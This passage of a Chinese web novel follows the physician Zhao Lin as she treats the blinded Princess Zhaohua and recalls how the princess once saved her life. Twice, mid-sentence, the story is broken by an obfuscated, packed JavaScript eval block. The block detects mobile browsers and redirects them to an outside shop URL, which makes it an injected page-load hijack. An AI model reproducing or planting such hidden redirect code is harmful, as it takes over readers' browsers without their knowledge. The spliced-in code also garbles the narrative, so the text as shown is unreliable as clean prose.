不过他还是立刻颔首,恭敬道:“在下森布尔,见过神医。”
赵霖上下打量他一番,皱眉问:“漠北人?”
森布尔心头一紧,刚要解释此行的目的,就听见她斩钉截铁地说:“我不治漠北人,请回吧。”
赵霖摆了摆手,扭头又准备往药田里钻。
“哎,师傅,等等!”辛夷连忙拉住她,急切道,“您要治的不是他!是他怀里的昭华公主,我们东靖的昭华公主江熹禾啊!”
“昭华?”
赵霖停住脚步,回头望去,“你是说,八年前自请去漠北和亲的昭华公主?”
辛夷对她点了点头。
森布尔连忙蹲下身,掀开披风,露出怀里人的脸。
江熹禾双目紧闭,面如金纸,脖颈间的伤还透着红,呼吸间都紧紧皱着眉头,像是在忍受极大的不适。
赵霖只看了一眼就沉下脸:“怎么弄成这样了?”
森布尔立刻解释道:“她此前淋雨染了风寒,伤心过度之下又伤了眼睛,等到好不容易退了热,眼睛却看不见了。”
在他说话间,赵霖已经伸手搭上了江熹禾的手腕,片刻后,她沉声道:“只是区区风寒又怎会拖到现在的地步?她脉细如丝,气血两亏,身子这般孱弱,定是早年间就落下了满身病根,如今不过是旧疾新伤一同爆发。”
森布尔自知理亏,也不反驳,只垂头道:“是我的错,没有照顾好她。”
赵霖沉默了片刻,脸上是从未有过的凝重,她深深看了江熹禾一眼,突然扬声朝院子里喊:“黑鸦,把人带进屋子里来!”
黑鸦立刻上前,不由分说地从森布尔怀里接走了江熹禾。
森布尔怀里一空,心也跟着悬了起来,连忙紧随其后,想跟着进屋,房门却在眼前“砰”的一声重重合拢。
这一进去,便是整整三日。
森布尔寸步不离地守在这间竹庐门口,白日里顶着日头,夜晚就裹着披风蜷缩在门槛边。期间只看见辛夷和黑鸦进进出出,忙着找药煎药,却始终没能再见到江熹禾一面。
但他即使再心急如焚,此刻也不敢强行闯入进去。但愿那神医真有几分本事,能治好江熹禾吧。
江熹禾睡睡醒醒,昏昏沉沉,每次刚想醒来,就有一道温柔的女声在耳边响起:“睡吧,再睡会儿,好好休息才能养足精神。”
这声音仿佛带着蛊惑,让她睁不开眼,意识刚醒很快又坠入沉眠。
辛夷在又往床头的香炉里添了块儿香料,看向窝在竹椅里打盹的赵霖,“师傅,她都睡了三天了,真的不要紧吗?”
赵霖脑袋猛地一点,惊醒了自己,打了个哈欠道:“急什么,她身子亏空太久,能这样安稳睡几天,比吃什么补药都管用。”
黑鸦在外敲了敲房门,辛夷打开门,从他手里接过药碗,关门之前顺带往院子外瞟了一眼。
那人还在。
寸步不离地守了三天,基本上都没合眼,屋里有任何风吹草动他都会第一时间察觉。
辛夷撇了撇嘴,不屑道:“现在这么上心,早干嘛去了?”
黑鸦:“?”
“没说你。”辛夷白了他一眼,用脚轻轻带上房门。
赵霖双脚翘在桌子上,发髻间插着一根毛笔,正捧着一本泛黄的古籍看得入神。
辛夷坐在床沿,熟练地扶起江熹禾,把碗里的药吹凉了往她嘴边喂,“公主,喝药了,喝完病就好了。”
温热苦涩的液体滑过喉咙,江熹禾蹙了蹙眉,终于睁开了眼。
她眨了眨眼,却驱不散眼前的黑雾,只哑声道:“辛夷?”
“是我,”辛夷面色一喜,“公主,你醒了?”
赵霖听见动静,也丢下医书凑了过来,手指轻轻搭在江熹禾的手腕上,语气比平时郑重了些:“昭华,身上有没有哪里发沉?头会不会晕?”
江熹禾用力眨了眨眼,缓了口气道:“身上轻快多了,就是眼睛……还是看不清楚。”
赵霖点点头,收回手笑道:“这是正常的,你身子亏得太狠,得先把气血补上来,把根基稳住,然后咱们再慢慢治眼睛,急不来。”
江熹禾反应过来,这道声音正是连日来在她睡梦中轻哄她的女声。她微微偏头,对着赵霖道:“敢问您就是赵神医吗?”
赵霖嘿嘿一笑,大咧咧地在她身边挤着坐下,“我叫赵霖,你叫我阿霖就好。”
“多谢神医出手相助,”江熹禾对她颔首,紧接着又问,“森布尔呢?”
“管那臭男人作甚,”赵霖向后仰着身体,指尖勾过她一缕垂落的发丝,“你的身体都被他作践成这样了,都这时候了,心里还惦记着他?”
江熹禾垂下眼睫,轻声解释:“我初到漠北时水土不服,又恰逢战事,是我自己没照顾好自己,才落下病根,与他无关。”
“嘁,”赵霖不以为意,手指隔空指了指她的鼻尖,“你骗得了别人,骗不了我这个大夫。就算是漠北条件再苦,若是有人把你放在心尖上护着,身体断然不会被糟蹋成这样。”
她耸了耸肩膀,又补了一句:“不过也怪你自己,一个愿打一个愿挨。现在落得这般境地,说到底都是你自找的。”
这话说得相当不客气,辛夷连忙扯了扯赵霖的衣袖,低声道:“师傅!您别说了!”
赵霖却理直气壮道:“怎么?我哪句话说错了?若不是她当初非要自请去和亲,现在肯定还在皇宫里养尊处优。外头就算再怎么战火纷飞,又能影响她分毫?”
江熹禾没有生气,反而垂眸笑了笑:“神医说得没错。人各有命,我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16839660|189639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从不后悔我的每一个决定,如今沦落至此,或许也是天意使然。”
方才还嬉皮笑脸嘲讽她的赵霖,听见这话却突然沉下脸,刚要开口说些什么,门外突然传来森布尔急切的声音:
“怜儿?你是不是醒了?跟我说句话好吗?”
赵霖轻嗤一声,从床上一骨碌跳下来,撂下一句“懒得管你”,就头也不回地拂袖离去。
辛夷犹豫片刻,也只好对着江熹禾点了点头,快步跟了出去。
森布尔早已候在门口,见房门被打开,他连忙退开半步,看着赵霖和辛夷一前一后地离开,这才小心翼翼地踏进屋内。
“怜儿。”
看到心心念念的人就坐在床头,虽然眼神依旧空茫,却对着他的方向浅浅笑着,森布尔心口一热,大步上前,一把揽住她。
“太好了……再看到你,真的太好了……”
他声音里压抑着哽咽,整个人如同终于找回了心爱的珍宝一般细微颤抖着。
江熹禾拍了拍他的肩头,小声道:“王,我没事,您别这样。”
赵霖气冲冲地往院外走,粗布短褂的衣摆被她甩得翻飞,连插在发髻上的毛笔都歪了半截,显然是被气得不轻。
辛夷紧跟其后,正在院子里捣药的黑鸦见状,连忙丢下药杵,想要跟上她们。
赵霖突然抬起手,头也不回道:“都别跟着我!让我一个人静一静!”
两人面面相觑,同时停下脚步,黑鸦迷茫地看向辛夷,满脸都写着:“怎么了?谁又惹她了?”
辛夷双手一摊,表示:“我哪儿知道。”
赵霖一口气走到山顶的悬崖边,心情不好时,她常会一个人在这里坐上一会儿。
她一屁股坐在崖边的青石板上,双腿随意地悬在崖下,脚下是翻涌的白雾,万丈深渊被藏在雾后,只听得见远处山涧的轰鸣。
想起先前江熹禾那句轻描淡写的“天意”,她忍不住对着空谷大骂道:“狗屁的天意!分明是世道不公,偏要把好人往苦海里推!”
山风掀起她的衣袍,发丝糊在脸颊上。
她盯着脚下流动的白雾,思绪被风吹回了多年以前。
那时候,还没有什么神医赵霖,只有市集南头,一间挂着“悬壶济世”金字招牌的小小药庐。
杏林赵家,世代行医,祖辈都是有名的大夫。可偏偏到了这一代,家里只剩下一个刁蛮任性的女儿。
街坊邻里常私下议论:“真是老天不开眼,这杏林世家的香火,怕是要断在这丫头手里了。”
这样的话赵霖从小听到大,可她却从不往心里去。她从小跟着爹娘识药、把脉、熬药,把家里的医书都背得烂熟于心。
爹娘从没想过把传承的重担压在她身上,只笑着说:“我家阿霖,活得自在开心就好。”
赵霖就这样无忧无虑地长大,哪怕已经到了该谈婚论嫁的年纪,爹娘也没急着给她寻婆家。
赵霖原以为,自己会永远在爹娘的宠爱下生活下去,直到边境的战火烧到了家门口。
一夜之间,热闹的市集变成一片焦土,熟悉的街坊邻居变成了一具具冰冷残缺的尸体。
爹娘费尽心血好不容易救活的人,转眼间就又被漠北铁骑的马蹄踏碎了脑袋。
赵霖曾躲在药柜后,看着满地鲜血发呆,忍不住想:治病救人有什么用?就算是把心血熬干,救回的人又怎敌得过战火里倒下的千千万万?
她失魂落魄地跟着爹娘背井离乡,一路躲避兵祸,直到……爹娘也双双葬身在这场永无止境的战争里。
从那天起,赵霖的魂魄像是随着爹娘一块儿去了,整个人变成了一具行尸走肉。
她跟着流民的队伍漫无目的地在城郊晃悠,衣衫破了,脚磨出血了,都毫无知觉。
直到官道上响起浩荡的车马声,一支奢华的车队缓缓驶来,中央的轿辇镶金嵌玉,连车帘都是绣着鸾鸟的云锦。
人们说,那是陛下最宠爱的昭华公主的轿辇,公主为了平息战火,自愿请求前往漠北和亲。
有人感叹公主大义,有人嘲笑她的天真。
赵霖却忍不住想,她真傻,明知道出去了就是死路一条,却还主动往火坑里跳,简直傻得可笑。
可心里骂着,脚步却不由自主地跟着队伍挪动,像是想看看这位“傻公主”到底长什么样。
28. 神医赵霖
黄昏时,队伍停在破庙旁休整。流民们饿得眼冒金星,不少人身上都带着伤,一到夜里就嚎哭不止,所谓哀鸿遍野,不过如此。
赵霖一脸冷漠地坐在人群角落,她知道什么草药能帮他们治病,也知道去哪里可以寻到那些草药。
但她却什么也不做,什么也不说。
治好他们又如何?说不定明天就会死在敌军的刀剑下。
在这乱世,贫民百姓活着本就没什么意义,都是蝼蚁罢了,包括她自己。
她这么想着,艰难地撑着膝盖站起身,正准备去早就选好的悬崖了解自己的性命。
身后传来一阵骚乱,赵霖回过头,一眼便看见了从轿辇上下来的公主。
她身穿大红喜袍,头戴珠翠宝玉,面若芙蓉,眉眼间尽是悲悯。
像极了庙里端坐莲台的观音。
赵霖难以避免地被她吸引,不由自主地朝她靠近过去。
公主正在让人给流民分发草药和粮食,对那些浑身脏污的流民,她没有丝毫嫌弃,眉宇间只有痛心和无奈。
她真好看。
赵霖心想。
兴许是赵霖的眼神太过直白,又或许是她没像其他流民那样上前哄抢,江熹禾很快注意到了她。
她命人取来一件厚实的斗篷,亲自走到赵霖面前,轻轻披在她肩上。
“你多大了?父母家人呢?”
赵霖张了张口,干涩的喉咙却没能发出声音,只能怔怔地看着她。
江熹禾叹了口气,从侍从手里拿过一枚沉甸甸的银锭,悄悄塞进她手心。
“你拿着这钱,一路往南走,寻个安生的地方落脚,注意避着些人群,莫要被人骗去了。”
同为女人,她最是明白,在这样的乱世,像这样的妙龄女子,稍作不慎,便会落得什么样的下场。
见赵霖仍是沉默,江熹禾拍了拍她的肩头,转身欲走。
“昭华!”
赵霖终于发出声音,江熹禾没有降怒于她的失礼和僭越,只是温声问道:“怎么了?”
“你……”赵霖攥紧了手里的银锭,忽然问,“你明知去漠北是死路一条,为什么还要去?”
江熹禾怔了怔,随即笑道:“你们都是我的子民,我此去,若能换来哪怕一人安稳活下去,便是值得的。”
赵霖睁大了眼,直到那人离去,都久久未能回过神。
在这乱世里,人命如草芥。朝廷里的达官贵人从未把他们这些流民当过人,漠北的铁骑更是视他们如蝼蚁,马蹄踏过便是一片哀嚎。
但这位金枝玉叶的公主却会亲手给脏污的流民分发粮食,会把沉甸甸的银锭塞进陌生少女手里,还说要拿自己的性命,去换哪怕一个百姓的安宁?
那天,赵霖最终没去跳崖。
她攥着那枚江熹禾给的银锭,一路往南,重新捡起了医术,在破庙里给难民熬药,在山洞里为伤兵包扎。
她想她终于懂了江熹禾口中的“值得”是什么意思。
那不是愚笨的牺牲,是在黑夜里,总得有人燃起星火。
后来,她在一片废墟中捡到了奄奄一息的小哑巴,给他取名“黑鸦”,这么多年一直带在身边。
再后来,她又在观音庙里捡到了辛夷,把她从鬼门关拉了回来。
这些年她救人无数,成了百姓口中“神出鬼没”的赵神医,也零星听到过那位昭华公主在漠北的消息。
听说她在漠北开渠引水,教牧民种植粮食。听说东靖人骂她是“叛国贼”,漠北人也未必真心待她,她在漠北的日子并不好过。
但赵霖明白,江熹禾所做的一切,都不过是想让这场残酷的战争,能少流些血罢了。
赵霖又想起前几天在森布尔怀里见到她的那一眼。
没想到此生还能再见面,更没想到再见面时,她竟会是这幅样子。
苍白脆弱,闭着眼睛,感觉轻轻一碰就要碎了。
那一刻她很想叫醒江熹禾,大吼着问她:“这就是你说的‘值得’吗?你用性命护着的子民,骂你叛国。你倾力辅佐的人,让你落得这般境地。这么多年的委屈和伤痛,你都一个人扛着,你所做的一切到底有何意义?”
山风卷着白雾扑在脸上,凉丝丝的。
赵霖抬手抹了把脸,才
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856311|189639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发现不知何时湿了眼眶。
身后响起脚步声,她吸了吸鼻子,眨落眼眶里的泪,瓮声瓮气道:“都说了别跟过来,你怎么这么不听话?”
黑鸦走上前,默默在她身边坐下,与她并肩望着崖下的白雾。
赵霖仰起头,对着空旷的山谷长叹口气,随后把脑袋歪在他的肩头。
“唉……这世道,真是烦死了。”
等到赵霖平复了心情,又在崖边的草丛里随手薅了一把草药,才朝黑鸦抬了抬下巴:“走了,回去煎药。”
黑鸦连忙跟上,亦步亦趋地跟在她身后。
两人刚走到竹庐门口,辛夷就从屋里迎了出来,“师傅!你们干嘛去了?我正准备去找你们呢!”
赵霖晃了晃手里的草药,“上山采药呗,难不成还去逛集市?”
她摸了摸鼻子,把手里的草药丢给黑鸦,径直走进院子。
森布尔正搀扶着江熹禾,在院子里缓缓踱步,见她回来了,立刻颔首致意:“神医回来了。”
赵霖一屁股坐在石凳上,伸手抓过桌上的粗陶茶壶,给自己倒了满满一杯凉茶,一口灌下去大半,斜睨着他冷哼道:“我刚把人从鬼门关拉回来,你就急着把她带出来乱逛?这山里风凉,要是再着凉染了风寒,我可不管治,直接交给你自己折腾!”
江熹禾闻言笑道:“是我想要出来走走的,神医莫要怪他。”
赵霖搁下茶杯,无语地翻了个白眼,“你就可劲偏袒你这情郎吧,我看你就是病糊涂了,魂儿都被他勾走了。”
还是头一回被人唤作“情郎”这个称呼,森布尔挑了挑眉,感觉有些新奇,又有些得意,忍不住勾了勾唇角。
赵霖被他这副得了便宜还卖乖的模样气得眼疼,狠狠剜了他一眼,抓起门边的药篮,又一头钻进了药田。
好在她也没再提赶森布尔离开的话。森布尔自然心领神会,顺理成章地在竹庐住了下来。
每天亲自给江熹禾熬药,洗漱,扶她散步,甚至还学着给药田除草。
赵霖虽然横竖看他不爽,但白得了一个任劳任怨的苦力,所以终究也没再多说什么。